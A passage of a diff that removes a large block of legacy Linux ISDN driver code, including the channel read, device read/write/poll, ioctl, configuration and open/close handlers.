*/ - info = &dev->mdm.info[mi]; - if (info->flags & - (ISDN_ASYNC_NORMAL_ACTIVE | ISDN_ASYNC_CALLOUT_ACTIVE)) { - if (info->msr & UART_MSR_DCD) - isdn_tty_modem_result(3, info); - info->msr &= ~(UART_MSR_DCD | UART_MSR_RI); -#ifdef ISDN_DEBUG_MODEM_HUP - printk(KERN_DEBUG "Mhup in ISDN_STAT_BHUP\n"); -#endif - isdn_tty_modem_hup(info, 0); - } - } - break; - case ISDN_STAT_NODCH: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "NODCH: %ld\n", c->arg); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - if (isdn_net_stat_callback(i, c->command)) - break; - if ((mi = dev->m_idx[i]) >= 0) { - info = &dev->mdm.info[mi]; - if (info->flags & - (ISDN_ASYNC_NORMAL_ACTIVE | ISDN_ASYNC_CALLOUT_ACTIVE)) { - if (info->dialing) { - info->dialing = 0; - info->last_l2 = -1; - info->last_si = 0; - sprintf(info->last_cause, "0000"); - isdn_tty_modem_result(6, info); - } - info->msr &= ~UART_MSR_DCD; - if (info->online) { - isdn_tty_modem_result(3, info); - info->online = 0; - } - } - } - break; - case ISDN_STAT_ADDCH: - break; - case ISDN_STAT_UNLOAD: - save_flags(flags); - cli(); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (dev->drvmap[i] == di) { - dev->drvmap[i] = -1; - dev->chanmap[i] = -1; - } - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - modem_info *info = &dev->mdm.info[i]; - - if (info->isdn_driver == di) { - info->isdn_driver = -1; - info->isdn_channel = -1; - if (info->online) { - isdn_tty_modem_result(3, info); - isdn_tty_modem_hup(info, 1); - } - } - } - dev->drivers--; - dev->channels -= dev->drv[di]->channels; - kfree(dev->drv[di]->rcverr); - kfree(dev->drv[di]->rcvcount); - for (i = 0; i < dev->drv[di]->channels; i++) - isdn_free_queue(&dev->drv[di]->rpqueue[i]); - kfree(dev->drv[di]->rpqueue); - kfree(dev->drv[di]->rcv_waitq); - kfree(dev->drv[di]->snd_waitq); - kfree(dev->drv[di]); - dev->drv[di] = NULL; - dev->drvid[di][0] = '\0'; - isdn_info_update(); - restore_flags(flags); - return 0; - default: - return -1; - } - return 0; -} - -/* - * Get integer from char-pointer, set pointer to end of number - */ -int -isdn_getnum(char **p) -{ - int v = -1; - - while (*p[0] >= '0' && *p[0] <= '9') - v = ((v < 0) ? 0 : (v * 10)) + (int) ((*p[0]++) - '0'); - return v; -} - -#define DLE 0x10 - -/* - * isdn_readbchan() tries to get data from the read-queue. - * It MUST be called with interrupts off. - */ -int -isdn_readbchan(int di, int channel, u_char * buf, u_char * fp, int len, int user) -{ - int left; - int count; - int count_pull; - int count_put; - int dflag; - struct sk_buff *skb; - u_char *cp; - - if (!dev->drv[di]) - return 0; - if (skb_queue_empty(&dev->drv[di]->rpqueue[channel])) { - if (user) - interruptible_sleep_on(&dev->drv[di]->rcv_waitq[channel]); - else - return 0; - } - left = MIN(len, dev->drv[di]->rcvcount[channel]); - cp = buf; - count = 0; - while (left) { - if (!(skb = skb_peek(&dev->drv[di]->rpqueue[channel]))) - break; - if (ISDN_AUDIO_SKB_LOCK(skb)) - break; - ISDN_AUDIO_SKB_LOCK(skb) = 1; - if (ISDN_AUDIO_SKB_DLECOUNT(skb)) { - char *p = skb->data; - unsigned long DLEmask = (1 << channel); - - dflag = 0; - count_pull = count_put = 0; - while ((count_pull < skb->len) && (left-- > 0)) { - if (dev->drv[di]->DLEflag & DLEmask) { - if (user) - put_user(DLE, cp++); - else - *cp++ = DLE; - dev->drv[di]->DLEflag &= ~DLEmask; - } else { - if (user) - put_user(*p, cp++); - else - *cp++ = *p; - if (*p == DLE) { - dev->drv[di]->DLEflag |= DLEmask; - (ISDN_AUDIO_SKB_DLECOUNT(skb))--; - } - p++; - count_pull++; - } - count_put++; - } - if (count_pull >= skb->len) - dflag = 1; - } else { - /* No DLE's in buff, so simply copy it */ - dflag = 1; - if ((count_pull = skb->len) > left) { - count_pull = left; - dflag = 0; - } - count_put = count_pull; - if (user) - copy_to_user(cp, skb->data, count_put); - else - memcpy(cp, skb->data, count_put); - cp += count_put; - left -= count_put; - } - count += count_put; - if (fp) { - memset(fp, 0, count_put); - fp += count_put; - } - if (dflag) { - /* We got all the data in this buff. - * Now we can dequeue it. - */ - if (fp) - *(fp - 1) = 0xff; - ISDN_AUDIO_SKB_LOCK(skb) = 0; - skb = skb_dequeue(&dev->drv[di]->rpqueue[channel]); - isdn_trash_skb(skb, FREE_READ); - } else { - /* Not yet emptied this buff, so it - * must stay in the queue, for further calls - * but we pull off the data we got until now. - */ - skb_pull(skb, count_pull); - ISDN_AUDIO_SKB_LOCK(skb) = 0; - } - dev->drv[di]->rcvcount[channel] -= count_put; - } - return count; -} - -static __inline int -isdn_minor2drv(int minor) -{ - return (dev->drvmap[minor]); -} - -static __inline int -isdn_minor2chan(int minor) -{ - return (dev->chanmap[minor]); -} - -#define INF_DV 0x01 /* Data version for /dev/isdninfo */ - -static char * -isdn_statstr(void) -{ - static char istatbuf[2048]; - char *p; - int i; - - sprintf(istatbuf, "idmap:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - sprintf(p, "%s ", (dev->drvmap[i] < 0) ? "-" : dev->drvid[dev->drvmap[i]]); - p = istatbuf + strlen(istatbuf); - } - sprintf(p, "\nchmap:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - sprintf(p, "%d ", dev->chanmap[i]); - p = istatbuf + strlen(istatbuf); - } - sprintf(p, "\ndrmap:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - sprintf(p, "%d ", dev->drvmap[i]); - p = istatbuf + strlen(istatbuf); - } - sprintf(p, "\nusage:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - sprintf(p, "%d ", dev->usage[i]); - p = istatbuf + strlen(istatbuf); - } - sprintf(p, "\nflags:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_DRIVERS; i++) { - if (dev->drv[i]) { - sprintf(p, "%ld ", dev->drv[i]->flags); - p = istatbuf + strlen(istatbuf); - } else { - sprintf(p, "? "); - p = istatbuf + strlen(istatbuf); - } - } - sprintf(p, "\nphone:\t"); - p = istatbuf + strlen(istatbuf); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - sprintf(p, "%s ", dev->num[i]); - p = istatbuf + strlen(istatbuf); - } - sprintf(p, "\n"); - return istatbuf; -} - -/* Module interface-code */ - -void -isdn_info_update(void) -{ - infostruct *p = dev->infochain; - - while (p) { - *(p->private) = 1; - p = (infostruct *) p->next; - } - wake_up_interruptible(&(dev->info_waitq)); -} - -static RWTYPE -isdn_read(struct inode *inode, struct file *file, char *buf, RWARG count) -{ - uint minor = MINOR(inode->i_rdev); - int len = 0; - ulong flags; - int drvidx; - int chidx; - - if (minor == ISDN_MINOR_STATUS) { - char *p; - if (!file->private_data) { - if (file->f_flags & O_NONBLOCK) - return -EAGAIN; - interruptible_sleep_on(&(dev->info_waitq)); - } - p = isdn_statstr(); - file->private_data = 0; - if ((len = strlen(p)) <= count) { - copy_to_user(buf, p, len); - file->f_pos += len; - return len; - } - return 0; - } - if (!dev->drivers) - return -ENODEV; - if (minor < ISDN_MINOR_CTRL) { - drvidx = isdn_minor2drv(minor); - if (drvidx < 0) - return -ENODEV; - if (!dev->drv[drvidx]->running) - return -ENODEV; - chidx = isdn_minor2chan(minor); - save_flags(flags); - cli(); - len = isdn_readbchan(drvidx, chidx, buf, 0, count, 1); - file->f_pos += len; - restore_flags(flags); - return len; - } - if (minor <= ISDN_MINOR_CTRLMAX) { - drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - if (drvidx < 0) - return -ENODEV; - if (!dev->drv[drvidx]->stavail) { - if (file->f_flags & O_NONBLOCK) - return -EAGAIN; - interruptible_sleep_on(&(dev->drv[drvidx]->st_waitq)); - } - if (dev->drv[drvidx]->interface->readstat) - len = dev->drv[drvidx]->interface-> - readstat(buf, MIN(count, dev->drv[drvidx]->stavail), - 1, drvidx, isdn_minor2chan(minor)); - else - len = 0; - save_flags(flags); - cli(); - if (len) - dev->drv[drvidx]->stavail -= len; - else - dev->drv[drvidx]->stavail = 0; - restore_flags(flags); - file->f_pos += len; - return len; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - return (isdn_ppp_read(minor - ISDN_MINOR_PPP, file, buf, count)); -#endif - return -ENODEV; -} - -static LSTYPE -isdn_lseek(struct inode *inode, struct file *file, LSARG offset, int orig) -{ - return -ESPIPE; -} - -static RWTYPE -isdn_write(struct inode *inode, struct file *file, const char *buf, RWARG count) -{ - uint minor = MINOR(inode->i_rdev); - int drvidx; - int chidx; - - if (minor == ISDN_MINOR_STATUS) - return -EPERM; - if (!dev->drivers) - return -ENODEV; - if (minor < ISDN_MINOR_CTRL) { - drvidx = isdn_minor2drv(minor); - if (drvidx < 0) - return -ENODEV; - if (!dev->drv[drvidx]->running) - return -ENODEV; - chidx = isdn_minor2chan(minor); - while (isdn_writebuf_stub(drvidx, chidx, buf, count, 1) != count) - interruptible_sleep_on(&dev->drv[drvidx]->snd_waitq[chidx]); - return count; - } - if (minor <= ISDN_MINOR_CTRLMAX) { - drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - if (drvidx < 0) - return -ENODEV; - /* - * We want to use the isdnctrl device to load the firmware - * - if (!dev->drv[drvidx]->running) - return -ENODEV; - */ - if (dev->drv[drvidx]->interface->writecmd) - return (dev->drv[drvidx]->interface-> - writecmd(buf, count, 1, drvidx, isdn_minor2chan(minor))); - else - return count; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - return (isdn_ppp_write(minor - ISDN_MINOR_PPP, file, buf, count)); -#endif - return -ENODEV; -} - -#if (LINUX_VERSION_CODE < 0x020117) -static int -isdn_select(struct inode *inode, struct file *file, int type, select_table * st) -{ - uint minor = MINOR(inode->i_rdev); - int drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - - if (minor == ISDN_MINOR_STATUS) { - if (file->private_data) - return 1; - else { - if (st) - select_wait(&(dev->info_waitq), st); - return 0; - } - } - if (minor >= ISDN_MINOR_CTRL && minor <= ISDN_MINOR_CTRLMAX) { - if (drvidx < 0) - return -ENODEV; - if (dev->drv[drvidx]->stavail) - return 1; - else { - if (st) - select_wait(&(dev->drv[drvidx]->st_waitq), st); - return 0; - } - return 1; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - return (isdn_ppp_select(minor - ISDN_MINOR_PPP, file, type, st)); -#endif - return -ENODEV; -} -#else -static unsigned int -isdn_poll(struct file *file, poll_table * wait) -{ - unsigned int mask = 0; - unsigned int minor = MINOR(file->f_inode->i_rdev); - int drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - - if (minor == ISDN_MINOR_STATUS) { - poll_wait(&(dev->info_waitq), wait); - /* mask = POLLOUT | POLLWRNORM; */ - if (file->private_data) { - mask |= POLLIN | POLLRDNORM; - } - return mask; - } - if (minor >= ISDN_MINOR_CTRL && minor <= ISDN_MINOR_CTRLMAX) { - poll_wait(&(dev->drv[drvidx]->st_waitq), wait); - if (drvidx < 0) { - printk(KERN_ERR "isdn_common: isdn_poll 1 -> what the hell\n"); - return POLLERR; - } - mask = POLLOUT | POLLWRNORM; - if (dev->drv[drvidx]->stavail) { - mask |= POLLIN | POLLRDNORM; - } - return mask; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - return (isdn_ppp_poll(file, wait)); -#endif - printk(KERN_ERR "isdn_common: isdn_poll 2 -> what the hell\n"); - return POLLERR; -} -#endif - -static int -isdn_set_allcfg(char *src) -{ - int ret; - int i; - ulong flags; - char buf[1024]; - isdn_net_ioctl_cfg cfg; - isdn_net_ioctl_phone phone; - - if ((ret = isdn_net_rmall())) - return ret; - save_flags(flags); - cli(); - if ((ret = verify_area(VERIFY_READ, (void *) src, sizeof(int)))) { - restore_flags(flags); - return ret; - } - copy_from_user((char *) &i, src, sizeof(int)); - src += sizeof(int); - while (i) { - char *c; - char *c2; - - if ((ret = verify_area(VERIFY_READ, (void *) src, sizeof(cfg)))) { - restore_flags(flags); - return ret; - } - copy_from_user((char *) &cfg, src, sizeof(cfg)); - src += sizeof(cfg); - if (!isdn_net_new(cfg.name, NULL)) { - restore_flags(flags); - return -EIO; - } - if ((ret = isdn_net_setcfg(&cfg))) { - restore_flags(flags); - return ret; - } - if ((ret = verify_area(VERIFY_READ, (void *) src, sizeof(buf)))) { - restore_flags(flags); - return ret; - } - copy_from_user(buf, src, sizeof(buf)); - src += sizeof(buf); - c = buf; - while (*c) { - if ((c2 = strchr(c, ' '))) - *c2++ = '\0'; - strcpy(phone.phone, c); - strcpy(phone.name, cfg.name); - phone.outgoing = 0; - if ((ret = isdn_net_addphone(&phone))) { - restore_flags(flags); - return ret; - } - if (c2) - c = c2; - else - c += strlen(c); - } - if ((ret = verify_area(VERIFY_READ, (void *) src, sizeof(buf)))) { - restore_flags(flags); - return ret; - } - copy_from_user(buf, src, sizeof(buf)); - src += sizeof(buf); - c = buf; - while (*c) { - if ((c2 = strchr(c, ' '))) - *c2++ = '\0'; - strcpy(phone.phone, c); - strcpy(phone.name, cfg.name); - phone.outgoing = 1; - if ((ret = isdn_net_addphone(&phone))) { - restore_flags(flags); - return ret; - } - if (c2) - c = c2; - else - c += strlen(c); - } - i--; - } - restore_flags(flags); - return 0; -} - -static int -isdn_get_allcfg(char *dest) -{ - isdn_net_ioctl_cfg cfg; - isdn_net_ioctl_phone phone; - isdn_net_dev *p; - ulong flags; - int ret; - - /* Walk through netdev-chain */ - save_flags(flags); - cli(); - p = dev->netdev; - while (p) { - if ((ret = verify_area(VERIFY_WRITE, (void *) dest, sizeof(cfg) + 200))) { - restore_flags(flags); - return ret; - } - strcpy(cfg.eaz, p->local.msn); - cfg.exclusive = p->local.exclusive; - if (p->local.pre_device >= 0) { - sprintf(cfg.drvid, "%s,%d", dev->drvid[p->local.pre_device], - p->local.pre_channel); - } else - cfg.drvid[0] = '\0'; - cfg.onhtime = p->local.onhtime; - cfg.charge = p->local.charge; - cfg.l2_proto = p->local.l2_proto; - cfg.l3_proto = p->local.l3_proto; - cfg.p_encap = p->local.p_encap; - cfg.secure = (p->local.flags & ISDN_NET_SECURE) ? 1 : 0; - cfg.callback = (p->local.flags & ISDN_NET_CALLBACK) ? 1 : 0; - cfg.chargehup = (p->local.hupflags & ISDN_CHARGEHUP) ? 1 : 0; - cfg.ihup = (p->local.hupflags & ISDN_INHUP) ? 1 : 0; - cfg.chargeint = p->local.chargeint; - copy_to_user(dest, p->local.name, 10); - dest += 10; - copy_to_user(dest, (char *) &cfg, sizeof(cfg)); - dest += sizeof(cfg); - strcpy(phone.name, p->local.name); - phone.outgoing = 0; - if ((ret = isdn_net_getphones(&phone, dest)) < 0) { - restore_flags(flags); - return ret; - } else - dest += ret; - strcpy(phone.name, p->local.name); - phone.outgoing = 1; - if ((ret = isdn_net_getphones(&phone, dest)) < 0) { - restore_flags(flags); - return ret; - } else - dest += ret; - put_user(0, dest); - p = p->next; - } - restore_flags(flags); - return 0; -} - -static int -isdn_ioctl(struct inode *inode, struct file *file, uint cmd, ulong arg) -{ - uint minor = MINOR(inode->i_rdev); - isdn_ctrl c; - int drvidx; - int chidx; - int ret; - char *s; - char name[10]; - char bname[21]; - isdn_ioctl_struct iocts; - isdn_net_ioctl_phone phone; - isdn_net_ioctl_cfg cfg; - - if (minor == ISDN_MINOR_STATUS) { - switch (cmd) { - case IIOCGETDVR: - return (TTY_DV + - (NET_DV << 8) + - (INF_DV << 16)); - case IIOCGETCPS: - if (arg) { - ulong *p = (ulong *) arg; - int i; - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, - sizeof(ulong) * ISDN_MAX_CHANNELS * 2))) - return ret; - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - put_user(dev->ibytes[i], p++); - put_user(dev->obytes[i], p++); - } - return 0; - } else - return -EINVAL; - break; - default: - return -EINVAL; - } - } - if (!dev->drivers) - return -ENODEV; - if (minor < ISDN_MINOR_CTRL) { - drvidx = isdn_minor2drv(minor); - if (drvidx < 0) - return -ENODEV; - chidx = isdn_minor2chan(minor); - if (!dev->drv[drvidx]->running) - return -ENODEV; - return 0; - } - if (minor <= ISDN_MINOR_CTRLMAX) { - switch (cmd) { -#ifdef CONFIG_NETDEVICES - case IIOCNETAIF: - /* Add a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(name)))) - return ret; - copy_from_user(name, (char *) arg, sizeof(name)); - s = name; - } else - s = NULL; - if ((s = isdn_net_new(s, NULL))) { - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, strlen(s) + 1))) - return ret; - copy_to_user((char *) arg, s, strlen(s) + 1); - return 0; - } else - return -ENODEV; - case IIOCNETASL: - /* Add a slave to a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(bname)))) - return ret; - copy_from_user(bname, (char *) arg, sizeof(bname)); - } else - return -EINVAL; - if ((s = isdn_net_newslave(bname))) { - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, strlen(s) + 1))) - return ret; - copy_to_user((char *) arg, s, strlen(s) + 1); - return 0; - } else - return -ENODEV; - case IIOCNETDIF: - /* Delete a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(name)))) - return ret; - copy_from_user(name, (char *) arg, sizeof(name)); - return isdn_net_rm(name); - } else - return -EINVAL; - case IIOCNETSCF: - /* Set configurable parameters of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(cfg)))) - return ret; - copy_from_user((char *) &cfg, (char *) arg, sizeof(cfg)); - return isdn_net_setcfg(&cfg); - } else - return -EINVAL; - case IIOCNETGCF: - /* Get configurable parameters of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(cfg)))) - return ret; - copy_from_user((char *) &cfg, (char *) arg, sizeof(cfg)); - if (!(ret = isdn_net_getcfg(&cfg))) { - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, sizeof(cfg)))) - return ret; - copy_to_user((char *) arg, (char *) &cfg, sizeof(cfg)); - } - return ret; - } else - return -EINVAL; - case IIOCNETANM: - /* Add a phone-number to a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(phone)))) - return ret; - copy_from_user((char *) &phone, (char *) arg, sizeof(phone)); - return isdn_net_addphone(&phone); - } else - return -EINVAL; - case IIOCNETGNM: - /* Get list of phone-numbers of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(phone)))) - return ret; - copy_from_user((char *) &phone, (char *) arg, sizeof(phone)); - return isdn_net_getphones(&phone, (char *) arg); - } else - return -EINVAL; - case IIOCNETDNM: - /* Delete a phone-number of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(phone)))) - return ret; - copy_from_user((char *) &phone, (char *) arg, sizeof(phone)); - return isdn_net_delphone(&phone); - } else - return -EINVAL; - case IIOCNETDIL: - /* Force dialing of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(name)))) - return ret; - copy_from_user(name, (char *) arg, sizeof(name)); - return isdn_net_force_dial(name); - } else - return -EINVAL; -#ifdef CONFIG_ISDN_PPP - case IIOCNETALN: - if (arg) { - if ((ret = verify_area(VERIFY_READ, - (void *) arg, - sizeof(name)))) - return ret; - } else - return -EINVAL; - copy_from_user(name, (char *) arg, sizeof(name)); - return isdn_ppp_dial_slave(name); - case IIOCNETDLN: - if (arg) { - if ((ret = verify_area(VERIFY_READ, - (void *) arg, - sizeof(name)))) - return ret; - } else - return -EINVAL; - copy_from_user(name, (char *) arg, sizeof(name)); - return isdn_ppp_hangup_slave(name); -#endif - case IIOCNETHUP: - /* Force hangup of a network-interface */ - if (arg) { - if ((ret = verify_area(VERIFY_READ, (void *) arg, sizeof(name)))) - return ret; - copy_from_user(name, (char *) arg, sizeof(name)); - return isdn_net_force_hangup(name); - } else - return -EINVAL; - break; -#endif /* CONFIG_NETDEVICES */ - case IIOCSETVER: - dev->net_verbose = arg; - printk(KERN_INFO "isdn: Verbose-Level is %d\n", dev->net_verbose); - return 0; - case IIOCSETGST: - if (arg) - dev->global_flags |= ISDN_GLOBAL_STOPPED; - else - dev->global_flags &= ~ISDN_GLOBAL_STOPPED; - printk(KERN_INFO "isdn: Global Mode %s\n", - (dev->global_flags & ISDN_GLOBAL_STOPPED) ? "stopped" : "running"); - return 0; - case IIOCSETBRJ: - drvidx = -1; - if (arg) { - int i; - char *p; - if ((ret = verify_area(VERIFY_READ, (void *) arg, - sizeof(isdn_ioctl_struct)))) - return ret; - copy_from_user((char *) &iocts, (char *) arg, - sizeof(isdn_ioctl_struct)); - if (strlen(iocts.drvid)) { - if ((p = strchr(iocts.drvid, ','))) - *p = 0; - drvidx = -1; - for (i = 0; i < ISDN_MAX_DRIVERS; i++) - if (!(strcmp(dev->drvid[i], iocts.drvid))) { - drvidx = i; - break; - } - } - } - if (drvidx == -1) - return -ENODEV; - dev->drv[drvidx]->reject_bus = iocts.arg; - return 0; - case IIOCGETSET: - /* Get complete setup (all network-interfaces and profile- - settings of all tty-devices */ - if (arg) - return (isdn_get_allcfg((char *) arg)); - else - return -EINVAL; - break; - case IIOCSETSET: - /* Set complete setup (all network-interfaces and profile- - settings of all tty-devices */ - if (arg) - return (isdn_set_allcfg((char *) arg)); - else - return -EINVAL; - break; - case IIOCSIGPRF: - dev->profd = current; - return 0; - break; - case IIOCGETPRF: - /* Get all Modem-Profiles */ - if (arg) { - char *p = (char *) arg; - int i; - - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, - (ISDN_MODEM_ANZREG + ISDN_MSNLEN) - * ISDN_MAX_CHANNELS))) - return ret; - - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - copy_to_user(p, dev->mdm.info[i].emu.profile, - ISDN_MODEM_ANZREG); - p += ISDN_MODEM_ANZREG; - copy_to_user(p, dev->mdm.info[i].emu.pmsn, ISDN_MSNLEN); - p += ISDN_MSNLEN; - } - return (ISDN_MODEM_ANZREG + ISDN_MSNLEN) * ISDN_MAX_CHANNELS; - } else - return -EINVAL; - break; - case IIOCSETPRF: - /* Set all Modem-Profiles */ - if (arg) { - char *p = (char *) arg; - int i; - - if ((ret = verify_area(VERIFY_READ, (void *) arg, - (ISDN_MODEM_ANZREG + ISDN_MSNLEN) - * ISDN_MAX_CHANNELS))) - return ret; - - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - copy_from_user(dev->mdm.info[i].emu.profile, p, - ISDN_MODEM_ANZREG); - p += ISDN_MODEM_ANZREG; - copy_from_user(dev->mdm.info[i].emu.pmsn, p, ISDN_MSNLEN); - p += ISDN_MSNLEN; - } - return 0; - } else - return -EINVAL; - break; - case IIOCSETMAP: - case IIOCGETMAP: - /* Set/Get MSN->EAZ-Mapping for a driver */ - if (arg) { - int i; - char *p; - char nstring[255]; - - if ((ret = verify_area(VERIFY_READ, (void *) arg, - sizeof(isdn_ioctl_struct)))) - return ret; - copy_from_user((char *) &iocts, (char *) arg, sizeof(isdn_ioctl_struct)); - if (strlen(iocts.drvid)) { - drvidx = -1; - for (i = 0; i < ISDN_MAX_DRIVERS; i++) - if (!(strcmp(dev->drvid[i], iocts.drvid))) { - drvidx = i; - break; - } - } else - drvidx = 0; - if (drvidx == -1) - return -ENODEV; - if (cmd == IIOCSETMAP) { - if ((ret = verify_area(VERIFY_READ, (void *) iocts.arg, 255))) - return ret; - copy_from_user(nstring, (char *) iocts.arg, 255); - memset(dev->drv[drvidx]->msn2eaz, 0, - sizeof(dev->drv[drvidx]->msn2eaz)); - p = strtok(nstring, ","); - i = 0; - while ((p) && (i < 10)) { - strcpy(dev->drv[drvidx]->msn2eaz[i++], p); - p = strtok(NULL, ","); - } - } else { - p = nstring; - for (i = 0; i < 10; i++) - p += sprintf(p, "%s%s", - strlen(dev->drv[drvidx]->msn2eaz[i]) ? - dev->drv[drvidx]->msn2eaz[i] : "-", - (i < 9) ? "," : "\0"); - if ((ret = verify_area(VERIFY_WRITE, (void *) iocts.arg, - strlen(nstring) + 1))) - return ret; - copy_to_user((char *) iocts.arg, nstring, strlen(nstring) + 1); - } - return 0; - } else - return -EINVAL; - case IIOCDBGVAR: - if (arg) { - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, sizeof(ulong)))) - return ret; - copy_to_user((char *) arg, (char *) &dev, sizeof(ulong)); - return 0; - } else - return -EINVAL; - break; - default: - if ((cmd & IIOCDRVCTL) == IIOCDRVCTL) - cmd = ((cmd >> _IOC_NRSHIFT) & _IOC_NRMASK) & ISDN_DRVIOCTL_MASK; - else - return -EINVAL; - if (arg) { - int i; - char *p; - if ((ret = verify_area(VERIFY_READ, (void *) arg, - sizeof(isdn_ioctl_struct)))) - return ret; - copy_from_user((char *) &iocts, (char *) arg, sizeof(isdn_ioctl_struct)); - if (strlen(iocts.drvid)) { - if ((p = strchr(iocts.drvid, ','))) - *p = 0; - drvidx = -1; - for (i = 0; i < ISDN_MAX_DRIVERS; i++) - if (!(strcmp(dev->drvid[i], iocts.drvid))) { - drvidx = i; - break; - } - } else - drvidx = 0; - if (drvidx == -1) - return -ENODEV; - if ((ret = verify_area(VERIFY_WRITE, (void *) arg, - sizeof(isdn_ioctl_struct)))) - return ret; - c.driver = drvidx; - c.command = ISDN_CMD_IOCTL; - c.arg = cmd; - memcpy(c.parm.num, (char *) &iocts.arg, sizeof(ulong)); - ret = dev->drv[drvidx]->interface->command(&c); - memcpy((char *) &iocts.arg, c.parm.num, sizeof(ulong)); - copy_to_user((char *) arg, &iocts, sizeof(isdn_ioctl_struct)); - return ret; - } else - return -EINVAL; - } - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - return (isdn_ppp_ioctl(minor - ISDN_MINOR_PPP, file, cmd, arg)); -#endif - return -ENODEV; -} - -/* - * Open the device code. - * MOD_INC_USE_COUNT make sure that the driver memory is not freed - * while the device is in use. - */ -static int -isdn_open(struct inode *ino, struct file *filep) -{ - uint minor = MINOR(ino->i_rdev); - int drvidx; - int chidx; - isdn_ctrl c; - - if (minor == ISDN_MINOR_STATUS) { - infostruct *p; - - if ((p = (infostruct *) kmalloc(sizeof(infostruct), GFP_KERNEL))) { - MOD_INC_USE_COUNT; - p->next = (char *) dev->infochain; - p->private = (char *) &(filep->private_data); - dev->infochain = p; - /* At opening we allow a single update */ - filep->private_data = (char *) 1; - return 0; - } else - return -ENOMEM; - } - if (!dev->channels) - return -ENODEV; - if (minor < ISDN_MINOR_CTRL) { - drvidx = isdn_minor2drv(minor); - if (drvidx < 0) - return -ENODEV; - chidx = isdn_minor2chan(minor); - if (!dev->drv[drvidx]->running) - return -ENODEV; - if (!(dev->drv[drvidx]->flags & (1 << chidx))) - return -ENODEV; - c.command = ISDN_CMD_LOCK; - c.driver = drvidx; - (void) dev->drv[drvidx]->interface->command(&c); - MOD_INC_USE_COUNT; - return 0; - } - if (minor <= ISDN_MINOR_CTRLMAX) { - drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - if (drvidx < 0) - return -ENODEV; - c.command = ISDN_CMD_LOCK; - c.driver = drvidx; - MOD_INC_USE_COUNT; - (void) dev->drv[drvidx]->interface->command(&c); - return 0; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) { - int ret; - if (!(ret = isdn_ppp_open(minor - ISDN_MINOR_PPP, filep))) - MOD_INC_USE_COUNT; - return ret; - } -#endif - return -ENODEV; -} - -static void -isdn_close(struct inode *ino, struct file *filep) -{ - uint minor = MINOR(ino->i_rdev); - int drvidx; - isdn_ctrl c; - - MOD_DEC_USE_COUNT; - if (minor == ISDN_MINOR_STATUS) { - infostruct *p = dev->infochain; - infostruct *q = NULL; - while (p) { - if (p->private == (char *) &(filep->private_data)) { - if (q) - q->next = p->next; - else - dev->infochain = (infostruct *) (p->next); - return; - } - q = p; - p = (infostruct *) (p->next); - } - printk(KERN_WARNING "isdn: No private data while closing isdnctrl\n"); - return; - } - if (minor < ISDN_MINOR_CTRL) { - drvidx = isdn_minor2drv(minor); - if (drvidx < 0) - return; - c.command = ISDN_CMD_UNLOCK; - c.driver = drvidx; - (void) dev->drv[drvidx]->interface->command(&c); - return; - } - if (minor <= ISDN_MINOR_CTRLMAX) { - drvidx = isdn_minor2drv(minor - ISDN_MINOR_CTRL); - if (drvidx < 0) - return; - if (dev->profd == current) - dev->profd = NULL; - c.command = ISDN_CMD_UNLOCK; - c.driver = drvidx; - (void) dev->drv[drvidx]->interface->command(&c); - return; - } -#ifdef CONFIG_ISDN_PPP - if (minor <= ISDN_MINOR_PPPMAX) - isdn_ppp_release(minor - ISDN_MINOR_PPP, filep); -#endif -} - -static struct file_operations isdn_fops = -{ - isdn_lseek, - isdn_read, - isdn_write, - NULL, /* isdn_readdir */ -#if (LINUX_VERSION_CODE < 0x020117) - isdn_select, /* isdn_select */ -#else - isdn_poll, /* isdn_poll */ -#endif - isdn_ioctl, /* isdn_ioctl */ - NULL, /* isdn_mmap */ - isdn_open, - isdn_close, - NULL /* fsync */ 